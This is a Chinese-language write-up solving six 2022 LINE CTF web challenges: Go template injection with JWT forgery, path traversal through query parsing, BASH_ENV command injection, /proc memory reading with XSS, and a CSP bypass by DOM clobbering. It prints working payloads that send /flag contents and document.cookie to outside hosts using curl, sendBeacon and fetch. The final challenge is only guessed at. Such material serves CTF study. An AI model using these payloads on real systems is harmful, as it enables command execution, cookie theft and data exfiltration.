2022 lineCTF WEB WriteUp
字数 1681 2025-08-07 08:22:39
2022 lineCTF WEB题目WriteUp解析
0x01 Gotm题目解析
题目概述
- 目标:伪造token使
is_admin == true获取flag - 关键点:SSTI (Server-Side Template Injection)漏洞利用
漏洞利用步骤
-
注册特殊用户:
GET /regist?id={{.}}&pw=123 HTTP/1.1通过注册id为
{{.}}的用户触发模板注入 -
获取token:
- 登录后获取包含模板注入结果的token
- 示例token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss
-
提取密钥:
- 解码后发现假密钥:
this_is_f4Ke_key - 使用该密钥伪造admin token
- 解码后发现假密钥:
-
获取flag:
GET /flag HTTP/1.1 X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
技术要点
- JWT token伪造
- Go模板注入(SSTI)
- 通过特殊用户id
{{.}}泄露敏感信息
0x02 Memo Drive题目解析
漏洞分析
- 关键漏洞:Starlette框架的query参数解析漏洞(CVE-2021-23336)
- 影响版本:Python 3.6.13到3.10.0的特定版本
漏洞利用
-
漏洞原理:
- 当query参数值包含分号(
;)时,query_params会错误解析 - 示例:
会被解析为两个参数:param_value = 'a;b;c' url = f'/test?param={param_value}'param=a和b=c
- 当query参数值包含分号(
-
利用步骤:
GET /test?dc61228a0a3c3709e3cf12165e0cc4ef=flag;/%2e%2e- 绕过
.和&检查 - 构造路径遍历:
./memo/dc61228a0a3c3709e3cf12165e0cc4ef/../flag
- 绕过
-
替代方案:
GET /view?id=flag&/..解析为:
filename = flagpath = ./memo/id/../flag
技术要点
- Starlette框架query解析漏洞
- 路径遍历利用
- 分号在URL参数中的特殊处理
0x03 bb题目解析
题目分析
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
绕过限制
-
字母字符限制:
- 使用八进制编码绕过
/[a-zA-Z]/i检查 - 示例:
whoami→$'\167\150\157\141\155\151'
- 使用八进制编码绕过
-
环境变量注入:
- 利用
BASH_ENV执行命令 - 示例payload:
解码后:?env[BASH_ENV]=`$'\143\165\162\154' $'\61\61\64\56\62\61\65\56\62\65\56\61\66\70\72\62\63\63\63'%20$'\55\106' $'\146\151\154\145\75\100\57\146\154\141\147'`curl 114.215.25.168:2333 -F file=@/flag
- 利用
-
自动化生成payload:
import string cmd = 'cat /flag | curl -d @- 114.215.25.168:2333' o = '' for c in cmd: if c in string.ascii_letters: o += f"$'\\{oct(ord(c))[2:]}'" else: o += c
其他环境变量利用方式
NODE_OPTIONS=--require /proc/self/environPHP_EXTRA_CONFIGURE_ARGS执行PHP代码PERL5OPT执行Perl命令BASH_ENV执行bash脚本LESSOPEN/LESS参数利用
0x04 Online Library题目解析
漏洞分析
app.get("/:t/:s/:e", function (req, res) {
var t = req.params.t;
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.");
}
else {
Fs.stat("public/".concat(t), function (err, stats) {
Fs.open("public/".concat(t), "r", function (err, fd) {
var buf = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
});
});
});
}
});
利用步骤
-
文件读取:
GET /..%2f..%2f..%2f..%2f..%2fetc%2fpasswd/0/1024 -
内存泄露:
- 读取
/proc/self/maps获取堆布局 - 确定heap范围:
0x053d6000到0x0631d000
- 读取
-
XSS利用:
- 通过
identify接口写入XSS payload:<script>navigator.sendBeacon('//'+document.cookie.substr(13,100).replace('}','')+'.flag.u5uc8xic.requestrepo.com');</script> - 爆破内存定位payload:
heap_start = 0x053d6000 while heap_start < 0x0631d000: requests.get(f"http://target/..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{heap_start}/{heap_start + 200000}") heap_start += 200000
- 通过
0x05 Haribote Secure Note题目解析
CSP限制
<meta content="default-src 'self'; style-src 'unsafe-inline'; script-src 'nonce-{{ csp_nonce }}' 'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default" http-equiv="Content-Security-Policy">
漏洞利用
-
突破点:
/profile页面没有CSP限制- 利用DOM Clobbering绕过限制
-
利用步骤:
- 设置display name为:
";a.eval(m+"");" - 创建note:
</script><iframe src=/profile id=b name=a></iframe> - 创建第二个note:
<a id="m" href=abc:fetch("//"+document.cookie.substr(13).replaceAll("_",".").replace("}","")+".u5uc8xic.requestrepo.com");></a>
- 设置display name为:
-
替代方案:
- display name:
"+import(m)+" - note内容:
</script><a id=x href="//iv8mapzv.requestrepo.com"></a> <a id=m href="data:text/javascript,open(x+'?'+document.cookie);alert()"></a>
- display name:
技术要点
- CSP绕过技巧
- DOM Clobbering技术
- iframe与跨窗口通信
- 短字符payload构造
0x06 me7-ball题目解析
(题目附件缺失,根据参考资料分析)
推测解题思路
- 密码学相关漏洞
- 可能的攻击向量:
- 加密算法实现缺陷
- 伪随机数问题
- 密钥管理不当
参考解决方案
(需补充具体题目细节)
总结
本WriteUp涵盖了2022 lineCTF多个WEB题目的详细解法,涉及:
- SSTI与JWT伪造
- 框架解析漏洞利用
- 环境变量注入与字符限制绕过
- 文件读取与内存泄露
- CSP绕过与DOM Clobbering技术
每个题目都展示了不同的Web安全技术和绕过思路,对CTF选手和安全研究人员有重要参考价值。